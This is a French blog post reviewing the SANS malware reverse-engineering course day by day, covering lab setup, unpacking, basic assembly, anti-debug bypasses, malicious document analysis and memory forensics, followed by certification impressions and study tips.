Alors vous allez vous demander, "mais que Diable allons nous reverser si on ne lit pas dans la matrice/en assembleur ?". Eh bien sur les 5 jours que comporte la formation, une journée (quasi complète) est consacrée à la l'apprentissage (basique) de l'assembleur. Mais j'y reviendrai un peu plus bas, parce que là, je vais détailler le programme des 5 jours de formation (alors je précise que j'ai suivi la formation via l'outil "OnDemand", qui est la plateforme d'e-learning du SANS - la formation avec un vrai instructeur se passe en 6 jours, la dernière journée étant un petit challenge de reverse entre les élèves, mais là je n'en sais pas plus). Notez que j'ai suivi la formation entre mai et août 2013, et que le contenu a peut-être changé sensiblement depuis.

Donc sans plus attendre, voici ce qu'on apprend, avec mes commentaires :

- Jour 1
On commence par des banalités sur ce à quoi ça sert de reverser un malware (utile lorsque l'on bosse dans un CERT, ou tout simplement à titre perso pour la curiosité/la culture/la gloire), en donnant un exemple réel (vieux de quasiment 15 ans) puis sur la manière de procéder (le sieur Zeltser préconise d'effectuer une analyse comportementale, et lorsqu'on arrive aux limites de cette analyse, procéder à une analyse du code (désassemblage / debug / etc) pour déterminer des éléments pouvant faire avancer l'analyse comportementale, et recommencer).
On passe ensuite à l'installation d'un lab d'analyse de malware (comprendre une VM sous Windows avec plein d'outils (IDA / OllyDbg / la suite Sysinternals / LordPE / etc + la distribution REMnux) puis on commence vraiment ce pour quoi on est là, à savoir analyser du malware.
Alors sans spoiler quoi que ce soit, en gros on analyse (entre autres) un "slackbot" (un vieux bot qui prend ses ordres sur un chan IRC, configurable, avec un petit twist à la fin). Donc un sniffe le trafic en provenance de la VM infectée, on voit qu'elle essaie de joindre un hostname précis => on lui donne l'ip de notre remnux => elle se connecte à un port fermé => on ouvre le port en question sur remnux => c'est un ircd => on la laisse se connecter => on récupère le chan => on est bloqué. A partir de là on voit que le binaire est packé avec UPX => upx -d => strings => on repère des chaines genre !@info => on les tape dans le chan irc => ça marche mais pas !@run ni !@login => on repère l'endroit où ces chaines sont utilisées dans le code => on pose quelques breakpoints => on récupère le password => WIN.
Au cours de cette première journée on fait ça sur 2 ou 3 autres malwares histoire de bien comprendre le principe.

- Jour 2
Au cours du jour 2, on approfondit un peu ce qu'on a vu la veille :
On reprend notre malware de la veille (sdbot) et on voit qu'il est également possible de le "patcher" pour qu'il accepte n'importe quel password (au lieu de breaker sur le "call strcmp" de la fonction correspondant à "!@login") en remplaçant un jnz par un jmp.
On apprend aussi la base de l'unpacking manuel en voyant comment unpacker de l'UPX à la main, sans utiliser "upx -d", puis aussi comment faire pour forcer la VM infectée à se connecter à notre VM remnux lorsque le malware utilise une adresse IP hardcodée à la place d'un fqdn (vu que la veille on fait ça en modifiant le fichier "hosts" ou via un tool genre "fakedns").
On termine la journée en voyant comment on analyse du JavaScript de manière assez basique (mais on approfondit un peu plus tard).

- Jour 3
La majorité de la journée consiste en un cours d'assembleur pour les nuls. On voit comment s'effectuent les affectations, les modes d'adressage, les sauts, etc etc. Puis on enchaîne sur comment reconnaître les fonctions potentiellement malveillantes d'un malware (genre si le malware utilise telle fonction c'est un keylogger, ou cette fonction là nous indique qu'il s'injecte dans un autre processus, ou que s'il fait ça c'est que c'est un sniffer réseau).
Concernant ce jour là je peux pas m'étendre plus, c'est juste un cours d'assembleur, auquel on a ajouté une liste des "patterns" malveillants dans un programme.

- Jour 4
C'est ce jour là que les choses très sérieuses commencent. On aborde le reversing de malwares qui emploient des techniques diverses et variées destinées à ralentir le boulot d'analyse. Donc les packers un peu méchants et autres techniques anti désassemblage/anti debug (utilisation des callbacks TLS, des exceptions, du timing avec RDTSC, etc) et chaque fois, des moyens de bypasser ces mécanismes. L'idée ici c'est vraiment de donner des billes pour être capable de se démerder seul lorsque l'on se retrouve face à un packer custom. Bien évidemment, lorsque l'on se retrouve à unpacker un truc connu, on nous suggère de chercher s'il n'existe pas un plugin OllyDbg existant. Mais pour la gloire, on unpack du PEcompact aussi bien manuellement, qu'avec un plugin Olly, histoire de mieux comprendre.
En fin de journée, on approfondit l'analyse de code JavaScript malveillant (et obfusqué avec diverses manières de rendre le code plus lisible) ainsi que l'analyse de shellcodes, histoire de comprendre ce qu'ils font quand on se retrouve face à l'un d'entre eux.
Dans le bouquin, il y a une partie bonus sur le reverse engineering de code Java malveillant aussi.

- Jour 5
Dernier jour de la formation, qui croise une petite partie de la formation FOR 508 du SANS (Incident Response & Advanced Forensics, de mémoire). On s'éloigne "un peu" (mais pas beaucoup) du reversing de malware. En fait on apprend comment procéder à l'analyse de documents malveillants. Documents dans le sens "fichier office" ou "fichier pdf". Donc on nous présente un set d'outils (pour le format Office on est un peu limités, l'intégralité des outils existants sont abandonnés depuis 4 ou 5 ans) et pour le format PDF (genre Origami). On apprend à extraire des charges malveillantes de ces formats de document (ensuite, on a plus qu'à reprendre ce qu'on a appris les jours précédents pour les reverser), puis aussi comment reconnaitre certains patterns typiques (genre un shellcode qui parcourt la liste des filedescriptors ouverts et utilise GetFileSize() pour retrouver le document d'où il provient afin de pouvoir extraire le reste de sa charge active étant contenue à l'intérieur).
On termine la journée, et la formation, par un cours sur le framework Volatility (c'est à ce moment là qu'on croise la formation FOR 508), et l'analyse de dumps mémoire à la recherche de malwares (toujours dans le but de les extraire avant de les analyser avec les compétences acquises les jours précédents). On voit donc comment effectuer des dumps de ram (avec la fonction de snapshots de VMware ou à l'aide d'un outil conçu par un parfait inconnu).

Alors je serais totalement infoutu de dire si c'est difficile ou pas comme formation, vu que je ne partais pas de zéro. Seul le jour 4 avec l'unpacking manuel m'a un peu endormi car c'était, à mon sens, le jour le plus dense de la formation, et certaines explications étaient un peu légères (en fait, de manière générales les manipulations consistent à suivre aveuglément les instructions, genre "appuyez 3 fois sur F8 dans OllyDbg, vous arrivez là, vous sélectionnez le registre ESP dans le panneau d'état des registres, vous faites "follow in dump", puis vous sélectionnez les 4 premiers octets du dump et placez un breakpoint lors de l'accès puis vous faites F9" sans plus d'explications, ou alors assez mauvaises.

Concernant la difficulté de la certification elle même, c'est assez mitigé. Elle dure 2 heures et se passe en mode "open book" (donc on a le droit de ramener les bouquins / cheatsheets). On peut aussi bien se retrouver avec des questions du niveau "dans la liste suivante, quel outil permet d'analyser du trafic réseau ?" avec comme choix "wireshark / iptables / irssi / ollydbg", que des gros pavés de code assembleur avec des numéros sur certaines lignes, où il nous est demandé à quelle ligne il est le plus judicieux de placer un breakpoint si on veut pouvoir obtenir la version déchiffrée d'un fichier lu par une fonction appelée dans ce pavé d'assembleur.

Je me doute que si vous avez lu jusqu'ici, vous attendez une liste de trucs à lire pour se préparer à la certification. Ben la première réponse c'est bien évidemment les petits fascicules du SANS qui sont fournis lorsque vous suivez la formation. Pour les autodidactes, il y a deux excellents bouquins qui couvrent la quasi totalité du contenu du cours :
Regardez le sommaire, vous y retrouverez 99% de ce dont j'ai parlé au dessus. Ensuite, c'est comme tout, il faut un minimum de curiosité pour s'en sortir. Il faut aussi continuer à pratiquer l'analyse de malwares à l'issue de la formation. Les connaissances c'est comme les muscles, ça s'entretient. Vous pouvez par exemple faire la série d'épreuves "Command & Control" du site de challenges root-me (enfin sauf la première qui est un peu différente. Vous pouvez également faire les labs d'un des bouquins cités ci-dessus.

En cas de questions relatives à cette formation, n'hésitez pas à m'envoyer un ptit mail ou écrire un commentaire.